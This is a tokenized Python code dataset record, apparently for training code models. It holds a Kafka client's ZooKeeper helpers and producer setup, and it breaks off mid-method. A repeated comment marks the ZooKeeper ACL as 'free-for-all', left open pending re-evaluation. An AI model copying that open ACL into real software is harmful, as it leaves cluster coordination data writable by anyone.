"(_", "consume", "r", "\\u", "ids", "\\u", "in", "\\u", "group_", ",_", "consume", "r", "\\u", "id", "\\u", "data_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "topic_", "in_", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "register", "\\u", "consumer_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ",_", "consume", "r", "\\u", "id_", ",_", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", " ", "the", " ", "follow", "ing", " ", "permanent", " ", "node", ",", " ", "if", " ", "it", " ", "doe", "s", " ", "not", " ", "exist", " ", "alr", "ead", "y", ":", "\\", "10", ";", " ", " ", " ", " ", "/", "consumers", "/{", "consume", "r", "\\u", "group", "}/", "ids", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "data", " ", "writt", "en", " ", "at", " ", "this", " ", "node", " ", "is", " ", "just", " ", "the", " ", "consume", "r", "\\u", "id", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "\\", "10", ";", " ", " ", " ", " ", "late", "r", " ", "track", " ", "who", " ", "created", " ", "what", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "We", " ", "then", " ", "create", " ", "the", " ", "follow", "ing", " ", "emp", "hem", "eral", " ", "node", ":", "\\", "10", ";", " ", " ", " ", " ", "/", "consumers", "/{", "consume", "r", "\\u", "group", "}/", "ids", "/{", "consume", "r", "\\u", "id", "}", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "data", " ", "writt", "en", " ", "in", " ", "this", " ", "node", " ", "is", " ", "a", " ", "dictionar", "y", " ", "of", " ", "topic", " ", "names", " ", "(", "in", " ", "\\", "10", ";", " ", " ", " ", " ", "unicode", ")", " ", "to", " ", "the", " ", "number", " ", "of", " ", "thread", "s", " ", "tha", "t", " ", "this", " ", "consume", "r", " ", "has", " ", "register", "ed", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "this", " ", "topic", " ", "(", "in", " ", "our", " ", "case", ",", " ", "alw", "ay", "s", " ", "one", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "create", "\\u", "path", "\\u", "if", "\\u", "needed_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "ids_", "(_", "consume", "r", "\\u", "group_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "an", " ", "emp", "herm", "al", " ", "node", " ", "for", " ", "this", " ", "consumer_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "id", "\\u", "path_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "id_", "(_", "consume", "r", "\\u", "group_", ",_", "consume", "r", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "Register", "ing", " ", "Consume", "r", " ", "{", "0", "},", " ", "try", "ing", " ", "to", " ", "create", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "consume", "r", "\\u", "id_", ",_", "consume", "r", "\\u", "id", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zookeeper", "_", "._", "create_", "(_", "self_", "._", "\\u", "zk_", "._", "handle_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "id", "\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "._", "dumps_", "(_", "{_", "topic_", ":_", "1_", "}_", ")_", ",_", "#", " ", "topic", " ", ":", " ", "#", " ", "of", " ", "threads_", "\\u\\u\\uNL\\u\\u\\u_", "ZK", "Util_", "._", "ACL", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "zookeeper", "_", "._", "EP", "HEM", "ERA", "L_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "path", "\\u", "if", "\\u", "needed_", "(_", "self_", ",_", "path_", ",_", "data_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", " ", "permanent", " ", "nodes", " ", "for", " ", "all", " ", "element", "s", " ", "in", " ", "the", " ", "path", " ", "if", " ", "the", "y", " ", "don", "'", "t", "\\", "10", ";", " ", " ", " ", " ", "alr", "ead", "y", " ", "exist", ".", " ", "Places", " ", "data", " ", "for", " ", "each", " ", "node", " ", "created", ".", " ", "(", "You", "'", "ll", " ", "probab", "ly", " ", "want", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "use", " ", "the", " ", "consume", "r", "\\u", "id", " ", "for", " ", "this", ",", " ", "just", " ", "for", " ", "accounti", "ng", " ", "purpose", "s", " ", "--", " ", "it", "'", "s", " ", "\\", "10", ";", " ", " ", " ", " ", "not", " ", "used", " ", "as", " ", "part", " ", "of", " ", "the", " ", "balancing", " ", "algo", "rit", "hm", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Ou", "r", " ", "zc", ".", "zk", ".", "Zoo", "Keep", "er", " ", "object", " ", "doe", "sn", "'", "t", " ", "know", " ", "how", " ", "to", " ", "create", " ", "nodes", ",", " ", "so", " ", "we", "\\", "10", ";", " ", " ", " ", " ", "have", " ", "to", " ", "dig", " ", "int", "o", " ", "the", " ", "zookeeper", " ", "base", " ", "librar", "y", ".", " ", "Not", "e", " ", "tha", "t", " ", "we", " ", "can", "'", "t", " ", "create", "\\", "10", ";", " ", " ", " ", " ", "all", " ", "of", " ", "it", " ", "in", " ", "one", " ", "go", " ", "--", " ", "Zoo", "Keep", "er", " ", "only", " ", "allow", "s", " ", "atomi", "c", " ", "operati", "ons", ",", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "so", " ", "we", "'", "re", " ", "creati", "ng", " ", "these", " ", "one", " ", "at", " ", "a", " ", "time", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "path_", "._", "startswith_", "(_", "\"/\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "Path", "s", " ", "must", " ", "be", " ", "full", "y", " ", "qualified", " ", "(", "begin", " ", "with", " ", "'/'", ").\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "build", "\\u", "path_", "(_", "nodes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"/\"_", "+_", "\"/\"_", "._", "join_", "(_", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nodes", "\\u", "to", "\\u", "create_", "=_", "path_", "[_", "1_", ":_", "]_", "._", "split_", "(_", "\"/\"_", ")_", "#", " ", "remove", " ", "beginn", "ing", " ", "\"/\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created", "\\u", "so", "\\u", "far_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "node_", "in_", "nodes", "\\u", "to", "\\u", "create_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "created", "\\u", "path_", "=_", "\\u", "build", "\\u", "path_", "(_", "created", "\\u", "so", "\\u", "far_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "node_", "and_", "node_", "not_", "in_", "self_", "._", "\\u", "zk_", "._", "children_", "(_", "created", "\\u", "path_", ")_", "._", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "to", "\\u", "create_", "=_", "\\u", "build", "\\u", "path_", "(_", "created", "\\u", "so", "\\u", "far_", "+_", "[_", "node_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "data", " ", "is", " ", "a", " ", "string", ",", " ", "we", "'", "ll", " ", "initialize", " ", "the", " ", "node", " ", "with", " ", "it", "..._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "data_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "init", "\\u", "data_", "=_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "init", "\\u", "data_", "=_", "json_", "._", "dumps_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "zookeeper", "_", "._", "create_", "(_", "self_", "._", "\\u", "zk_", "._", "handle_", ",_", "node", "\\u", "to", "\\u", "create_", ",_", "init", "\\u", "data_", ",_", "ZK", "Util_", "._", "ACL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "created", "\\u", "so", "\\u", "far_", "._", "append_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "broker", "\\u", "topic_", "(_", "self_", ",_", "broker", "\\u", "id_", ",_", "topic", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"{", "0", "}/", "{", "1", "}\"_", "._", "format_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "topic_", "(_", "topic", "\\u", "name_", ")_", ",_", "broker", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "broker", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"/", "broker", "s", "/", "ids", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "broker_", "(_", "self_", ",_", "broker", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"/", "broker", "s", "/", "ids", "/{", "0", "}\"_", "._", "format_", "(_", "broker", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "topics_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"/", "broker", "s", "/", "topic", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "topic_", "(_", "self_", ",_", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"{", "0", "}/", "{", "1", "}\"_", "._", "format_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "topics_", "(_", ")_", ",_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "offsets_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ",_", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "\"/", "consumers", "/{", "0", "}/", "offset", "s", "/{", "1", "}\"_", "._", "format_", "(_", "consume", "r", "\\u", "group_", ",_", "topic_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "offset_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ",_", "topic_", ",_", "broker", "\\u", "id_", ",_", "partition_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path", "\\u", "for", "\\u", "offsets_", "=_", "self_", "._", "path", "\\u", "for", "\\u", "offsets_", "(_", "consume", "r", "\\u", "group_", ",_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"{", "0", "}/", "{", "1", "}-", "{", "2", "}\"_", "._", "format_", "(_", "path", "\\u", "for", "\\u", "offsets_", ",_", "broker", "\\u", "id_", ",_", "partition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "ids_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"/", "consumers", "/{", "0", "}/", "ids", "\"_", "._", "format_", "(_", "consume", "r", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "id_", "(_", "self_", ",_", "consume", "r", "\\u", "group_", ",_", "consume", "r", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"{", "0", "}/", "{", "1", "}\"_", "._", "format_", "(_", "self_", "._", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "ids_", "(_", "consume", "r", "\\u", "group_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "zk", "\\u", "properties_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node", "\\u", "data_", "=_", "self_", "._", "\\u", "zk_", "._", "properties_", "(_", "path_", ")_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "string", "\\u", "value", "'_", "in_", "node", "\\u", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "node", "\\u", "data_", "[_", "'", "string", "\\u", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "node", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "zk", "\\u", "children_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "zk_", "._", "children_", "(_", "path_", ")_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "zk", "\\u", "conn", "\\u", "str_", ",_", "topic_", ",_", "zk", "\\u", "timeout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "id_", "=_", "uuid_", "._", "uuid1_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "topic_", "=_", "topic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "bps", "\\u", "changed_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "zk", "\\u", "util_", "=_", "ZK", "Util_", "(_", "zk", "\\u", "conn", "\\u", "str_", ",_", "zk", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tr", "y", " ", "to", " ", "pull", " ", "the", " ", "broker", "s", " ", "and", " ", "partit", "ion", "s", " ", "we", " ", "can", " ", "send", " ", "to", " ", "on", " ", "this", " ", "topic_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "topic", "\\u", "watch_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "register", "\\u", "callbacks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "detect", "\\u", "broker", "\\u", "partitions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "collapse", " ", "duplicat", "es", " ", "so", " ", "we", " ", "only", " ", "have", " ", "one", " ", "conn", " ", "per", " ", "host", "/", "port_", "\\u\\u\\uNL\\u\\u\\u_", "broker", "\\u", "conn", "\\u", "info_", "=_", "frozenset_", "(_", "(_", "bp_", "._", "broker", "\\u", "id_", ",_", "bp_", "._", "host_", ",_", "bp_", "._", "port_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", "in_", "self_", "._", "\\u", "broker", "\\u", "partitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "connections_", "=_", "dict_", "(_", "(_", "broker", "\\u", "id_", ",_", "Ka", "fk", "a_", "(_", "host_", ",_", "port_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "broker", "\\u", "id_", ",_", "host_", ",_", "port_", "in_", "broker", "\\u", "conn", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "topic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "topic_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "broker", "\\u", "partitions_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "broker", "\\u", "partitions_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Producer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send_", "(_", "self_", ",_", "msgs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "msgs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "all", "\\u", "callback", "s", "\\u", "registered_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 